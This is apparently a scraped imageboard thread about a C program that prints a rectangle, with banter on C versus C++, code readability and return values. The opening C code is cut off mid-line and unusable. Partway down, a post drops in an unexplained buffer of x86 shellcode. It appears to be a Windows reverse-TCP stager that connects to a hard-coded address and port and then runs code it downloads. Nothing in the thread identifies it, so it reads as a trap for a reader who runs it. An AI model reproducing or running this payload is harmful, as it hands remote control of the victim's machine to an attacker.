I'm bored. Let's have a rectangle time!

I'm bored. Let's have a rectangle time!
#include

int main() {
int n,i,j;

n = 39; // number of rows.

for(i = 1; i

Use fucking C++.

Why does everyone say that? Is C++ so much better than C?

Generally speaking, definitely.
For this purpose, I would actually prefer C strings over C++ streams. But that's because of me preferring performance. And well, I would use buffers and symmetry properties, as that's really straight forward for that task.

C++ uses the same runtime environment as C but the standards make it much cleaner to read. As of C++11 you can write C++ that almost looks like C#.

Also, proteome prefer cpp over c because it is object oriented.

what is rectangle time

I'd use whatever data structure fits my needs for extension in the future as well as makes the code as readable as possible. Performance in C++ isn't a consideration unless you're working on very high performance code like critical sections in a multithreaded application.

No, C++ is multi paradigm.
But yeah, new standards with the decltype(auto) and variadric templates make life much much easier.

Sir, have you ever written in Ada or at least considering doing so?

do u guys like scala or ruby more

I do not plan on writing in Ada. Haha.

Sorry, I meant to say it has POP constructs in the language not that the language itself only follows an POP paradigm

OOP constructs*

Well, I've never coded for a living anything that was not HPC/GPGPU. Most of the code I've seen so far was ninja level.

Fair enough. Seems like the industry shys away from C++ except in HPC anyway. It just makes me feel sad when I see people write software without thinking about the source as being a technical document. You wouldn't read a tech doc that has no white space or only consists of paragraphs of text with no bulleted lists right?

Personally, devs should write code like they intend for someone else to read it... becaude lets face it the vast majority of your time is spent reading code, not writing it. That may mean not using the most performing method, but instead using the most readable (obviously if you're doing HOC this isn't as much of a consideration).

Fucks sake OP

>return 1;

For what purpose?

If you couldn't tell this from reading it, you should find a new line of work.

Because -Wall requires it.

...

I meant why 1? That signifies an error on pretty much all modern systems doesn't it?

You could return EXIT_SUCCESS which could differ in value from 0 and that would still be acceptable in the c standard. But yea in this case 1 would be an error value.

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\xfa\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";

>Because -Wall requires it.
??? -wall in VC++ and in gcc compilers simply raises the warning level so you make the compiler complain about implicitly casting values upon returning from a function or like adding an int to a double.

There's no warning that would tell you to return 1.

What exactly is this?